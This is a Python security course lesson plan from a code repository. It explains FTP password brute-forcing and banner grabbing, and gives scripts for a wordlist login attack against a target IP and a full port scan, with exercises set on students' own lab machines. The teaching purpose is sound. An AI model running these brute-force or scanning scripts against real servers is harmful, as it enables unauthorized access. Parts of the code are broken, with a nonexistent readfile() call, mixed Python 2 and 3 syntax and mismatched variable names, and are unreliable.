


Branch: master ▾

hackerU_python / lessonPlan / lesson6_ftpCracker_bannerGrabber.md

Find file

Copy path

 t-0-m-1-3 added folders

190da8f on Jul 30, 2018

1 contributor

148 lines (112 sloc) 5.94 KB

Raw

Blame

History



FTP Cracking and Banner Grabbing for Fun and Profit.

Once you have a firm grasp of python, moving into its applications for security, in its implications in attacking and defeding services. The problems you face are very similar to the ones you encounter learning any coding language. Python's focus on simplicity allows it to give security researchers and defenders a fast platform to build off of and iterate features into.

Perfect security doesn't exist. Good security practices do. With effort, and adaptability, it is possible to provide a reasonable level of security to your systems and your users. Learning **how** to think about code is more important than learning **everything** there is inside of the code.

Learning to code is a lifelong journey. The problems you deconstruct with it and because of it will change how you view every problem you face in your life.

FTP CRACKER:

First things first, what is an FTP server? **FTP Servers** are file transfer serves that work off of TCP (usually port **21**) for transferring files between computers. Through this protocol, an ftp client will communicate with an ftp server to take a file from the server or add a file to it.

There are typical uses for this protocol:

- downloading various multimedia files from websites or servers that host these files
- Management of moving files back and forth between the site server and clients

There are several key steps in the process: * Open a session to the port on the server * Transfer control commands * Username transfer * Password transfer * Open a session to transfer the file * Move the file itself

In order to build the hacking program, we need to think about how the ftp server authenticates the user.

Brute Forcing trying every combination possible.

Attack Vector describes the total operations, system resources, and general logic for the purpose of target of an attack.

for the ftp server, the attack vector we are looking at is the authentication on the passowrd. We will try every possible combination of letters and numbers until the server authenticates.

Steps in Building the PasswordCracker:

1.

Opening a Session to the Specific Port of the Server - As an attacker i need to find the unique parameters of the server to open the connection with. I need an IP address and a Port (**21**) but this isn't mandatory. Verify ports against common services.

2. **Transferring Control Commands** - i need to learn the commands for every ftp server, or i need to find a library that has all the commands baked in. `ftplib` will fit the bill.

3. **Username transfer** - find it, or brute force it

4. **Password transfer** - find it, or brute force it

Rainbow Tables: can be downloaded off of the internet and used in the brute force effort. This will shorten the brute force process

5. **Opening a session to transfer a file and moving the file itself** - we do not need to do this maliciously, since once authenticated we can act as a normal user on the system.

Exercises:

1. Build an ftp server within your OS, (use root/toor)
2. Build a script to break into your ftp service and display it to the user
3. Add features to the code:
 - every 10 times the user tries a password, display a message
 - add special symbols to make the code robust
 - add the time library and check out long it took to crack the password
 - add a counting variable to display the amount of attempts it took
 - display a measure of attempts/time
 - Think of ways to shorten the code

```
#!/usr/bin/python

import ftplib # import the library to connect to the server
import socket # import the library to connect to the internet
import sys # import the library to exit the program

print("Welcome to a python3 FTP login tool")
IP = input("Please enter target IP:")
PORT = int(input("Please enter port:"))

try:
    print("creating your socket and connecting to it...")
    s = socket.socket()
    s.connect((IP, PORT))
    print("Bind IP to the FTP ...")
    #open the ftp connection
    ftp = ftplib.FTP(IP)
except:
    sys.exit()
    #if you cannot connect, close the program

passfile = open("PASSWORDS.txt", "r")
password = passfile.readfile()
username = "root"

while password:
    try:
```

```

ftp.login(username, password)
# will attempt to connect to the above parameters, error handle crashing

print("Login Successful")
print("The password is: ", password)
break
except:
    print("login failed!!!")
    password = passfile.readline() #try every password in the file

```

Banner Grabbing:

In order to build a program to grab banners we need to know what a banner is.

a **banner** is a logo that represents a specific program running on a computer.

banners are usually sent as a response to certain commands or when you create an active connection.

```

import socket
S = socket.socket()
s.connect(("1.1.1.1",22))
Banner = S.recv(2048)
print banner
S.close()

```

it is possible to expand the above example to get/give more information.

If you were to try connecting to every port from 0-65535 and read the banner, you'd be able to map what services are running on what port. You can then use that information to see what services use the same port

```

import socket
S = socket.socket()
ip = raw_input()
port=0
while port <=65535:
    try:
        S.connect((ip,port))
        Banner = S.recv(2048)

        if "ssh" in banner:
            print "ssh in: ", ip
    except:
        port +=1
        S.close()

```

Exercises

1. Create a machine that has at least 3 services running on it
2. Check which services are open on the machine you created by running the code
3. Try to combine the code you have written into the ftp cracker
4. Improve your code with these features:
 - o Add designated functions to a specific port for hacking
 - o Hide one of the services you created in the machine under a port other than the default, and make sure your code finds that port

- Make the code user friendly and print results